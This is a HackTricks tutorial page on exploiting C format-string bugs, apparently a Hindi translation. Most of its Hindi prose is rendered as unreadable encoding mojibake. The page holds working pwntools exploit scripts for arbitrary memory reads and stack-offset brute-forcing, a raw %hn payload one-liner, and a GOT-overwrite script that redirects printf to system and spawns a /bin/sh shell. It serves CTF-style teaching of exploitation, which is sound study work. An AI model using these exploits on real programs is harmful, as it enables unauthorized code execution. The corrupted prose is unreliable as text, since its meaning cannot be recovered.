hacktricks/binary-exploitation/format-strings
2024-11-09 13:31:18 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 18:53:16 +00:00
format-strings-template.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 18:53:16 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-09 13:31:18 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).

{% embed url="https://www.stmcyber.com/careers" %}

Basic Information

C рдореЗрдВ printf рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИ рд╡рд╣ рд╣реИ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде рдХрдЪреНрдЪрд╛ рдЯреЗрдХреНрд╕реНрдЯред рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВ рд╡реЗ рд╣реИрдВ рдХрдЪреНрдЪреЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиред

рдЕрдиреНрдп рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ sprintf() рдФрд░ fprintf()ред

рдХрдордЬреЛрд░реА рддрдм рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ printf рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкрддреЗ (рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп/рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп) рдореЗрдВ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ред

Formatters:

%08x тАФ> 8 hex bytes
%d тАФ> Entire
%u тАФ> Unsigned
%s тАФ> String
%p тАФ> Pointer
%n тАФ> Number of written bytes
%hn тАФ> Occupies 2 bytes instead of 4
<n>$X тАФ> Direct access, Example: ("%3$d", var1, var2, var3) тАФ> Access to var3

рдЙрджрд╛рд╣рд░рдг:

  • рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • рдЧрд╛рдпрдм рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf рдХрдордЬреЛрд░:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pointers рддрдХ рдкрд╣реБрдБрдЪрдирд╛

рдлреЙрд░реНрдореЗрдЯ %<n>$x, рдЬрд╣рд╛рдБ n рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, printf рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ n рдкреИрд░рд╛рдореАрдЯрд░ (рд╕реНрдЯреИрдХ рд╕реЗ) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк printf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ 4th рдкреИрд░рд╛рдореАрдЯрд░ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%x %x %x %x")

рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдЪреМрдереЗ рдкреИрд░рд╛рдореАрдЯрд░ рддрдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%4$x")

рдФрд░ рд╕реАрдзреЗ рдЪреМрдереЗ рдХреЛ рдкрдврд╝реЗрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ printf рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрд╕рдХрд╛ рдЗрдирдкреБрдЯ printf рдХреЗ рдХреЙрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред

{% hint style="danger" %} рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ рдЗрд╕ рдЗрдирдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рдордирдорд╛рдиреЗ рдкрддреЗ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ printf рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред {% endhint %}

рдордирдорд╛рдирд╛ рдкрдврд╝рдирд╛

рдлреЙрд░реНрдореЗрдЯрд░ %n$s рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ printf n рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗ, рдЗрд╕рдХреЗ рдмрд╛рдж рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗ (рдЬрдм рддрдХ 0x00 рдирд╣реАрдВ рдорд┐рд▓рддрд╛)ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдХрд╛ рдмреЗрд╕ рдкрддрд╛ 0x8048000 рд╣реИ, рдФрд░ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреИрдХ рдореЗрдВ рдЪреМрдереЗ рд╕реНрдерд╛рди рдкрд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЗрдирдкреБрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 0x8048000 рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрд╕ рдкрддреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x00 рдкрд░ рдХрдЯ рдЬрд╛рдПрдЧреАред {% endhint %}

рдСрдлрд╕реЗрдЯ рдЦреЛрдЬреЗрдВ

рдЕрдкрдиреЗ рдЗрдирдкреБрдЯ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк 4 рдпрд╛ 8 рдмрд╛рдЗрдЯреНрд╕ (0x41414141) рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж %1$x рдФрд░ рдорд╛рди рдмрдврд╝рд╛рдПрдВ рдЬрдм рддрдХ рдХрд┐ A's рдкреНрд░рд╛рдкреНрдд рди рд╣реЛ рдЬрд╛рдПрдВред

рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ printf рдСрдлрд╕реЗрдЯ ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### рдХрд┐рддрдиреА рдЙрдкрдпреЛрдЧреА

рдордирдорд╛рдиреЗ рдкрдврд╝рдиреЗ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХрддреА рд╣реИ:

* **рдмрд╛рдЗрдирд░реА** рдХреЛ рдореЗрдореЛрд░реА рд╕реЗ **рдбрдВрдк** рдХрд░рдирд╛
* **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** **рдЬрд╛рдирдХрд╛рд░реА** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдореЗрдореЛрд░реА рдХреЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ** рддрдХ **рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ (рдЬреИрд╕реЗ рдХрд┐ рдХреИрдирд░реА, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рдХрд╕реНрдЯрдо рдкрд╛рд╕рд╡рд░реНрдб рдЬреИрд╕реЗ рдЗрд╕ [**CTF рдЪреБрдиреМрддреА**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) рдореЗрдВ)

## **рдордирдорд╛рдирд╛ рд▓рд┐рдЦрдирд╛**

рдлреЙрд░реНрдореЗрдЯрд░ **`%<num>$n`** **рд▓рд┐рдЦрддрд╛** рд╣реИ **рд▓рд┐рдЦреЗ рдЧрдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреЛ **рд╕рдВрдХреЗрддрд┐рдд рдкрддреЗ** рдореЗрдВ \<num> рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ printf рдХреЗ рд╕рд╛рде рдЬрд┐рддрдиреЗ рдЪрд╛рд╣реЗрдВ рдЙрддрдиреЗ рдЕрдХреНрд╖рд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ **`%<num>$n`** рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рднрд╛рдЧреНрдпрд╡рд╢, рд╕рдВрдЦреНрдпрд╛ 9999 рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдореЗрдВ 9999 "A"s рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯрд░ **`%.<num-write>%<num>$n`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдЦреНрдпрд╛ **`<num-write>`** рдХреЛ **`num` рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ** рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИред
```bash
AAAA%.6000d%4\$n тАФ> Write 6004 in the address indicated by the 4┬║ param
AAAA.%500\$08x тАФ> Param at offset 500

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдкрддрд╛ рдЬреИрд╕реЗ 0x08049724 (рдЬреЛ рдПрдХ HUGE рд╕рдВрдЦреНрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдмрд╛рд░ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╣реИ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп $n рдХреЗред рдпрд╣ рдХреЗрд╡рд▓ 2 Bytes рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдСрдкрд░реЗрд╢рди рджреЛ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд░ рдкрддреЗ рдХреЗ рдЙрдЪреНрдЪрддрдо 2B рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рдмрд╛рд░ рдирд┐рдореНрдирддрдо рдХреЗ рд▓рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдкрддреЗ рдореЗрдВ рдХреБрдЫ рднреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдордирдорд╛рдирд╛ рд▓реЗрдЦрди)ред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдмрд╛рдж рдореЗрдВ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреНрдп рдордирдорд╛рдиреЗ рд▓реЗрдЦрди рдХреЛ exec рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ system рдлрд╝рдВрдХреНрд╢рди рдХреА рдУрд░ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИред
рдЬреИрд╕рд╛ рдХрд┐ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ 2 рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдЖрдк рдкрд╣рд▓реЗ 2Bytes рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЕрдиреНрдп 2ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • HOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдЙрдЪреНрдЪрддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ
  • LOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдирд┐рдореНрдирддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

рдлрд┐рд░, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ [HOB, LOB] рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдХреЛред

рдпрджрд┐ HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

рдпрджрд┐ HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 N┬║Param_dir_HOB LOB_shell-HOB_shell N┬║Param_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools рдЯреЗрдореНрдкрд▓реЗрдЯ

рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

рдпрд╛ рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ format string vulnerability рдХреЗ write actions рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ stack рдХреЗ addresses рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдФрд░ рдПрдХ buffer overflow рдкреНрд░рдХрд╛рд░ рдХреА vulnerability рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВред

Other Examples & References

  • https://ir0nstone.gitbook.io/notes/types/stack/format-string
  • https://www.youtube.com/watch?v=t1LH9D5cuK4
  • https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
  • https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
  • 32 bit, no relro, no canary, nx, no pie, format strings рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдЙрдкрдпреЛрдЧ stack рд╕реЗ flag рдХреЛ leak рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (execution flow рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)
  • https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
  • 32 bit, relro, no canary, nx, no pie, format string fflush рдХреЗ address рдХреЛ win function (ret2win) рдХреЗ рд╕рд╛рде overwrite рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
  • https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
  • 32 bit, relro, no canary, nx, no pie, format string main рдореЗрдВ .fini_array рдХреЗ рдЕрдВрджрд░ рдПрдХ address рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП (рддрд╛рдХрд┐ flow рдПрдХ рдмрд╛рд░ рдФрд░ рд▓реВрдк рд╣реЛ) рдФрд░ GOT table рдореЗрдВ system рдХреЗ рд▓рд┐рдП address рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ strlen рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЬрдм flow main рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рддрд╛ рд╣реИ, strlen рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде execute рд╣реЛрддрд╛ рд╣реИ рдФрд░ system рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП commands рдХреЛ execute рдХрд░реЗрдЧрд╛ред

рдпрджрд┐ рдЖрдк hacking career рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЬреЗрдп рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)ред

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}